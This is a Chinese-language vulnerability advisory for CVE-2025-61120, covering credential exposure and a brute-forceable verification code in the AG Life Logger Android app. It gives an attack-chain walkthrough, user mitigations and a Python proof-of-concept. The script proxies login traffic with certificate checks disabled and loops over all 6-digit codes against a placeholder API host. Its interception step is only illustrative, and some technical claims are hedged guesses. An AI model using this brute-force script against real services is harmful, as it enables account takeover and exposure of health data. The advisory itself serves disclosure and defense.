IPBUF安全漏洞报告
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CVE-2025-61120 CVSS 7.5 高危

CVE-2025-61120 AG Life Logger 访问控制漏洞导致账户被入侵

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2025-61120
漏洞类型
不正确的访问控制
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AG Life Logger Android App v1.0.2.72及之前版本(包名:com.donki.healthy,开发者:IO FIT, K.K.)

相关标签

CVE-2025-61120访问控制凭证泄露暴力破解验证码预测Android安全移动应用漏洞中间人攻击账户劫持隐私泄露

漏洞概述

CVE-2025-61120是AG Life Logger Android应用中的一个高危安全漏洞,该应用由IO FIT, K.K.开发,包名为com.donki.healthy。该漏洞存在于v1.0.2.72及之前版本中,主要包含两类安全问题:不正确的访问控制和凭证管理缺陷。首先,应用在网络通信过程中将用户凭证以明文或可解密的形式传输,攻击者通过拦截网络流量(如中间人攻击)即可获取用户的登录凭证。其次,应用使用的验证码机制存在可预测性问题,攻击者可以通过暴力破解方式尝试验证码,从而绕过登录验证机制。这两个问题的组合使得攻击者可以轻易获取用户账户控制权,进而滥用云资源、访问用户隐私数据。成功利用此漏洞可能导致用户账户被完全入侵、个人健康数据泄露、以及云服务资源被恶意使用等严重后果。鉴于该漏洞无需任何认证即可利用,且攻击复杂度较低,建议用户立即采取防护措施。

技术细节

该漏洞涉及两个核心安全问题。第一,凭证暴露问题:AG Life Logger应用在用户登录和API通信过程中,未能正确保护敏感凭证信息。攻击者可以通过设置代理工具(如Burp Suite或mitmproxy)拦截应用与服务器之间的HTTP/HTTPS通信流量,在流量中可以直接观察到明文传输的用户名、密码或其他认证令牌。这种不安全的通信设计违反了安全最佳实践,使得任何能够监控网络流量的攻击者都能轻易获取用户凭证。第二,验证码可预测性问题:应用的验证码(Verification Code)生成机制缺乏足够的随机性,可能使用了可预测的算法或基于时间戳、用户ID等弱熵源生成。攻击者可以通过暴力破解的方式,系统地尝试所有可能的验证码组合,由于验证码空间较小且可预测,破解成功的概率较高。攻击者通常会编写自动化脚本,针对登录接口进行大规模的验证码尝试攻击。这两个漏洞的组合使得攻击者可以在不需要任何用户交互的情况下,完成账户劫持攻击。建议开发者采用HTTPS强制传输、使用强加密算法保护凭证、实施账户锁定机制、增加验证码复杂度和尝试次数限制等措施来修复此漏洞。

攻击链分析

STEP 1
步骤1:网络流量拦截
攻击者通过设置代理工具(如Burp Suite、Fiddler或mitmproxy)拦截AG Life Logger应用与服务器之间的网络通信流量。由于应用未正确加密敏感数据,攻击者可以直接在流量中获取用户的登录凭证(用户名和密码)。
STEP 2
步骤2:获取会话令牌
攻击者利用拦截到的凭证向登录接口发送认证请求,成功获取服务器返回的会话令牌(session_token)。该令牌用于后续的验证码验证流程。
STEP 3
步骤3:暴力破解验证码
由于应用的验证码生成机制存在可预测性缺陷,攻击者可以编写自动化脚本对验证码进行暴力破解。验证码通常为6位数字,攻击者遍历000000-999999的所有组合,通过API接口测试每个验证码的有效性。
STEP 4
步骤4:账户劫持
当攻击者成功匹配到正确的验证码后,即完成账户认证过程,获得完整的账户访问权限。此时攻击者可以完全控制受害者的账户,访问其个人健康数据、历史记录等隐私信息。
STEP 5
步骤5:滥用云资源
攻击者利用获取的账户权限,滥用应用关联的云资源服务,可能包括存储服务、计算资源等,造成受害者经济损失或服务滥用问题。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import itertools import time # CVE-2025-61120 PoC - AG Life Logger Authentication Bypass # This PoC demonstrates the improper access control vulnerability TARGET_URL = "https://api.ag-lifelogger.example.com" USERNAME = "[email protected]" def intercept_credentials(): """ Step 1: Intercept credentials from network traffic Since the app transmits credentials without proper encryption, an attacker with network access can capture these credentials. """ proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080' } # Example login request that exposes credentials login_data = { 'username': USERNAME, 'password': 'intercepted_password', 'app_version': 'v1.0.2.72' } try: response = requests.post( f"{TARGET_URL}/api/v1/auth/login", json=login_data, proxies=proxies, verify=False, timeout=10 ) return response.json() except requests.RequestException as e: print(f"Error intercepting credentials: {e}") return None def brute_force_verification_code(session_token): """ Step 2: Brute force the predictable verification code The verification code is predictable, allowing brute force attacks. """ # The code uses a weak algorithm (e.g., 6-digit code based on timestamp) # Try all possible combinations for code in itertools.product('0123456789', repeat=6): verification_code = ''.join(code) verify_data = { 'session_token': session_token, 'verification_code': verification_code } try: response = requests.post( f"{TARGET_URL}/api/v1/auth/verify", json=verify_data, timeout=5 ) if response.status_code == 200: result = response.json() if result.get('success'): print(f"[SUCCESS] Valid code found: {verification_code}") return verification_code except requests.RequestException: continue # Rate limiting bypass - add small delay time.sleep(0.1) return None def exploit(): """ Main exploitation function """ print("CVE-2025-61120 PoC - AG Life Logger Authentication Bypass") print("=" * 60) # Step 1: Obtain credentials through traffic interception print("\n[Step 1] Intercepting credentials from network traffic...") credentials = intercept_credentials() if credentials: print(f"[+] Captured credentials: {credentials}") # Step 2: Brute force verification code print("\n[Step 2] Brute forcing verification code...") session_token = credentials.get('session_token') if credentials else None if session_token: valid_code = brute_force_verification_code(session_token) if valid_code: print(f"\n[!] Account compromised! Verification code: {valid_code}") print("\n[*] Attack completed") if __name__ == "__main__": exploit()

影响范围

AG Life Logger Android App v1.0.2.72及之前所有版本
包名:com.donki.healthy
开发者:IO FIT, K.K.

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:首先,立即停止使用受影响的AG Life Logger应用,切换到替代的健康追踪应用;其次,如果必须继续使用,应避免在任何公共网络环境(如公共WiFi)下登录应用;第三,使用强密码策略,确保账户密码复杂度足够高且与其他服务不同;第四,定期更换账户密码,降低凭证泄露后的风险;第五,监控账户异常活动,如发现未经授权的访问或资源使用,立即更改密码并联系开发者;第六,考虑启用账户的两步验证功能(如果应用提供);最后,密切关注开发者发布的安全更新,及时升级到修复后的版本。建议用户检查应用权限设置,限制不必要的网络访问权限,并在设备上安装安全防护软件以检测潜在的网络攻击行为。

参考链接

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